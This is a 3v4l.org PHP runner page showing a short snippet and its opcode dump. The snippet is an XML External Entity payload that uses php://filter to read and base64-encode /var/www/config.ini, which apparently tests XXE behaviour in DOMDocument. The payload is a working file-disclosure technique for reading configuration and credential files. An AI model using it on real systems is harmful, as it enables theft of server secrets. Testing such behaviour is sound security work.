3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/config.ini" > ]> <results> <result>&harmless;</result> </results>'; $doc = new DOMDocument; $doc->loadXML($xml); echo $doc->results->result;
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/6UqoT
function name:  (null)
number of ops:  11
compiled vars:  !0 = $xml, !1 = $doc
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '%3C%3Fxml+version%3D%221.0%22%3F%3E%0A%3C%21DOCTYPE+results+%5B%0A++++%3C%21ENTITY+harmless+SYSTEM%0A++++%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fvar%2Fwww%2Fconfig.ini%22%0A++++%3E%0A%5D%3E%0A%3Cresults%3E%0A++++%3Cresult%3E%26harmless%3B%3C%2Fresult%3E%0A%3C%2Fresults%3E'
   13     1        NEW                                              $3      'DOMDocument'
          2        DO_FCALL                                      0          
          3        ASSIGN                                                   !1, $3
   14     4        INIT_METHOD_CALL                                         !1, 'loadXML'
          5        SEND_VAR_EX                                              !0
          6        DO_FCALL                                      0          
   15     7        FETCH_OBJ_R                                      ~7      !1, 'results'
          8        FETCH_OBJ_R                                      ~8      ~7, 'result'
          9        ECHO                                                     ~8
         10      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
155.63 ms | 1393 KiB | 13 Q